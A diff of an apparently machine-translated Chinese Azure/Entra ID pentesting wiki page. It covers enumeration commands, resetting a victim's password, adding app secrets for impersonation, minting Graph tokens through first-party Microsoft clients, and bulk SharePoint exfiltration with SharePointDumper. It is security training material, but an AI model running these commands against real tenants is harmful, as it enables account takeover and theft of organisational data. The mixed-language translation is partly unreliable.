diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 753b90237..972e779d3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## 基本信息 -Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**。 +Azure Active Directory (Azure AD) 是 Microsoft 的基于云的身份和访问管理服务。它帮助员工登录并访问组织内外的资源,包括 Microsoft 365、Azure portal 以及众多其他 SaaS 应用。Azure AD 的设计旨在提供关键的身份服务,主要包括 **身份验证、授权和用户管理**。 -Azure AD 的关键特性包括 **多因素身份验证** 和 **条件访问**,以及与其他 Microsoft 安全服务的无缝集成。这些特性显著提升了用户身份的安全性,并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分,Azure AD 对于基于云的用户身份管理至关重要。 +Azure AD 的关键功能包括 **多因素认证** 和 **条件访问**,并与其他 Microsoft 安全服务实现无缝集成。这些功能显著提升了用户身份的安全性,使组织能够有效地实施和执行其访问策略。作为 Microsoft 云服务生态系统的基础组件,Azure AD 对基于云的用户身份管理至关重要。 ## 枚举 @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft** 的 **租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有的应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。 +当你通过任何程序使用 **CLI** 在 **Azure** 上 **login** 时,你实际上是在使用属于 **Microsoft** 的某个 **tenant** 中的 **Azure Application**。这些 Applications(就像你可以在自己的账号中创建的那些)**have a client id**。在你能在 **console** 中看到的 **allowed applications lists** 里,**won't be able to see all of them**,但它们**are allowed by default**。 -例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员仍然可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。 +例如,一个用于 **authenticates** 的 **powershell script** 会使用客户端 id 为 **`1950a258-227b-4e31-a9cf-717495945fc2`** 的应用。即使该应用未出现在 **console** 中,sysadmin 仍可 **block that application**,从而阻止用户通过该 App 连接的工具访问。 -然而,还有 **其他客户端 ID** 的应用程序 **将允许您连接到 Azure**: +然而,还有一些应用的 **other client-ids** 可以 **will allow you to connect to Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -226,7 +227,7 @@ az account tenant list ### 用户 -有关 Entra ID 用户的更多信息,请查看: +有关 Entra ID 用户的更多信息,请参阅: {{#ref}} ../az-basic-information/ @@ -363,15 +364,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access Policies +### MFA 与 Conditional Access 策略 -强烈建议为每个用户添加 MFA,然而,一些公司可能不会设置它,或者可能会通过条件访问进行设置:用户在特定位置、浏览器或 **某些条件** 下登录时将 **需要 MFA**。如果这些策略配置不正确,可能会容易受到 **绕过**。检查: +强烈建议为每个用户添加 MFA,但有些公司不会启用它,或者可能通过 Conditional Access 进行设置:用户如果从特定位置、浏览器或 **某些条件** 登录,**需要 MFA**。如果这些策略配置不正确,可能容易遭受 **bypasses**。查看: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Groups +### 组 有关 Entra ID 组的更多信息,请查看: @@ -480,15 +481,15 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#endtabs }} -#### 将用户添加到组 +#### 向组添加用户 -组的所有者可以将新用户添加到组中 +组的所有者可以向组中添加新用户 ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> 组可以是动态的,这基本上意味着 **如果用户满足某些条件,它将被添加到一个组**。当然,如果条件基于 **用户** 可以 **控制** 的 **属性**,他可能会滥用此功能以 **进入其他组**。\ -> 请查看如何在以下页面滥用动态组: +> 组可以是动态的,这基本意味着 **如果用户满足某些条件,该用户将被添加到一个组中**。当然,如果条件基于 **属性**,即 **用户** 可以 **控制**(的属性),他可能滥用此功能以 **进入其他组**。\ +> 请在以下页面查看如何滥用动态组: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -496,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### 服务主体 -有关 Entra ID 服务主体的更多信息,请查看: +有关 Entra ID 服务主体 的更多信息,请查看: {{#ref}} ../az-basic-information/ @@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> 服务主体的所有者可以更改其密码。 +> Service Principal 的 Owner 可以更改其密码。
-列出并尝试在每个企业应用上添加客户端密钥 +列出并尝试在每个 Enterprise App 上添加 client secret ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -706,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications." ```
-### 应用程序 +### 应用 -有关应用程序的更多信息,请查看: +有关应用的更多信息,请查看: {{#ref}} ../az-basic-information/ {{#endref}} -当应用程序生成时,会授予两种类型的权限: +当生成一个应用时,会赋予两种类型的权限: -- **权限** 授予 **服务主体** -- **权限** 应用程序可以在 **用户** 的 **名义** 下拥有和使用。 +- **Permissions** 授予 **Service Principal** +- **Permissions** 该 **应用** 可以代表用户拥有并使用。 {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以通过授予自己角色来 **提升为全局管理员**。\ -> 有关更多信息 [**请查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)。 +> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以通过给自己授予该角色来**升级为 Global Admin**。\ +> 更多信息请[**查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> 应用在请求令牌时用来证明其身份的秘密字符串是应用密码。\ -> 因此,如果找到这个 **密码**,你可以作为 **服务主体** **访问** **租户**。\ -> 请注意,这个密码只有在生成时可见(你可以更改它,但无法再次获取)。\ -> **应用程序** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\ -> 作为这些服务主体的登录 **不会被标记为风险**,并且 **不会有 MFA**。 +> 应用在请求令牌时用于证明其身份的秘密字符串称为应用密码。\ +> 因此,如果找到此**密码**,你可以以该**service principal**的身份**在租户内**进行访问。\ +> 注意该密码仅在生成时可见(可以更改,但无法再次获取)。\ +> **应用**的**所有者**可以向其**添加密码**(从而可以冒充该应用)。\ +> 以这些 service principals 登录的行为**不会被标记为风险**,并且**不会启用 MFA**。 -可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用应用 ID 列表。 +可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用 App IDs 列表。 -### 托管身份 +### Managed Identities -有关托管身份的更多信息,请查看: +For more information about Managed Identities check: {{#ref}} ../az-basic-information/ @@ -824,7 +852,7 @@ az identity list --output table ### Azure 角色 -有关 Azure 角色的更多信息,请查看: +有关 Azure 角色的更多信息,请参见: {{#ref}} ../az-basic-information/ @@ -911,7 +939,7 @@ Headers = @{ ### Entra ID 角色 -有关 Azure 角色的更多信息,请查看: +有关 Azure 角色的更多信息,请参阅: {{#ref}} ../az-basic-information/ @@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将能够 **登录**。\ -> 此外,如果登录的用户是设备的 **所有者**,他将成为 **本地管理员**。 +> 如果设备 (VM) 是 **AzureAD joined**,来自 AzureAD 的用户将 **能够登录**。\ +> 此外,如果已登录的用户是该设备的 **Owner**,他将成为 **local admin**。 -### 管理单位 +### 管理单元 -有关管理单位的更多信息,请查看: +有关管理单元的更多信息,请参阅: {{#ref}} ../az-basic-information/ @@ -1072,13 +1100,60 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Entra ID 特权升级 +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) + +拥有包含 **`Sites.Read.All`** 或 **`Sites.ReadWrite.All`** 的 **delegated Microsoft Graph token** 的攻击者可以通过 Graph 枚举 **sites/drives/items**,然后通过 **SharePoint pre-authentication download URLs** 拉取文件内容(这些是嵌入访问令牌的时限 URL)。The [SharePointDumper](https://github.com/zh54321/SharePointDumper) 脚本自动化完整流程(枚举 → pre-auth downloads),并在每次请求上输出遥测以便检测测试。 + +### 获取可用的委派令牌 + +- SharePointDumper 本身 **does not authenticate**;请提供 access token(可选 refresh token)。 +- Pre-consented **first-party clients** 可被滥用以在不注册应用的情况下 mint 一个 Graph token。示例 `Invoke-Auth`(来自 [EntraTokenAid](https://github.com/zh54321/EntraTokenAid))的调用: +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> FOCI TRUE 客户端支持跨设备刷新;FOCI FALSE 客户端通常需要 `-Origin` 来满足 reply URL origin 验证。 + +### 运行 SharePointDumper 进行 enumeration + exfiltration + +- 基本 dump with custom UA / proxy / throttling: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- 作用域控制:包含/排除站点或扩展以及全局上限: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **恢复** 中断的运行(重新枚举但跳过已下载的项目): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **在 HTTP 401 时自动刷新 token** (需要加载 EntraTokenAid): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +操作说明: + +- 优先使用 **CAE-enabled** tokens 以避免在运行中途过期;尝试刷新不会记录在该工具的 API 日志中。 +- 为 **Graph + SharePoint** 生成 **CSV/JSON request logs**,并默认对嵌入的 SharePoint 下载 tokens 进行脱敏(可切换)。 +- 支持 **custom User-Agent**、**HTTP proxy**、**per-request delay + jitter** 以及 **Ctrl+C-safe shutdown**,以便在检测/IR 测试中进行流量整形。 + +## Entra ID Privilege Escalation {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure 特权升级 +## Azure Privilege Escalation {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md @@ -1086,60 +1161,62 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ## 防御机制 -### 特权身份管理 (PIM) +### Privileged Identity Management (PIM) -特权身份管理 (PIM) 在 Azure 中帮助**防止不必要地将过多特权**分配给用户。 +Privileged Identity Management (PIM) 在 Azure 中有助于防止不必要地向用户分配过度权限。 -PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其**在一段时间内(例如 6 个月)具备资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要特权的时间(例如 3 小时)。然后**管理员需要批准**该请求。\ -请注意,用户还可以请求**延长**时间。 +PIM 的一个主要功能是允许不将角色直接分配给始终处于活动状态的主体,而是将其设置为在一段时间内 **eligible(例如 6 months)**。当用户想要激活该角色时,需要提出申请并说明所需的权限时长(例如 3 hours)。随后需要由 **admin needs to approve** 该请求。 +注意,用户也可以请求 **extend** 时长。 -此外,**PIM 会在特权角色被分配给某人时发送电子邮件**。 +此外,**PIM send emails**,每当为某人分配特权角色时都会发送电子邮件通知。
-启用 PIM 后,可以为每个角色配置某些要求,例如: +启用 PIM 后,可以为每个角色配置以下要求: -- 激活的最大持续时间(小时) -- 激活时需要 MFA -- 需要条件访问身份验证上下文 -- 激活时需要理由 -- 激活时需要票据信息 -- 激活时需要批准 -- 资格分配的最大过期时间 -- 以及更多关于何时以及谁在某些操作发生时发送通知的配置 +- Maximum duration (hours) of activation +- Require MFA on activation +- Require Conditional Access acuthenticaiton context +- Require justification on activation +- Require ticket information on activation +- Require approval to activate +- Max time to expire the elegible assignments +- 以及更多关于在何时以及向谁发送通知的配置,当与该角色相关的某些操作发生时 -### 条件访问策略 +### Conditional Access Policies -检查: +Check: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra 身份保护 +### Entra Identity Protection -Entra 身份保护是一项安全服务,允许**检测用户或登录尝试是否过于风险**以被接受,从而**阻止**用户或登录尝试。 +Entra Identity Protection 是一项安全服务,用于 **检测用户或登录尝试是否具有过高风险**,并允许 **block** 该用户或登录尝试。 -它允许管理员配置在风险为“低及以上”、“中等及以上”或“高”时**阻止**尝试。尽管默认情况下它是完全**禁用**的: +管理员可以将其配置为在风险为 "Low and above"、"Medium and above" 或 "High" 时 **block** 尝试。不过,默认情况下它是完全 **disabled**:
> [!TIP] -> 目前建议通过条件访问策略添加这些限制,在那里可以配置相同的选项。 +> 目前建议通过 Conditional Access 策略添加这些限制,在那里可以配置相同的选项。 -### Entra 密码保护 +### Entra Password Protection -Entra 密码保护 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定帐户来帮助防止弱密码的滥用**。\ -它还允许**禁止自定义密码列表**,该列表需要您提供。 +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录失败时锁定账户,帮助防止弱密码被滥用**。 +它还允许 **ban a custom password list**(需由你提供)。 -它可以**同时应用于**云级别和本地 Active Directory。 +它可以 **applied both** 于云端和本地 Active Directory。 -默认模式是**审计**: +默认模式为 **Audit**:
-## 参考 +## 参考资料 - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}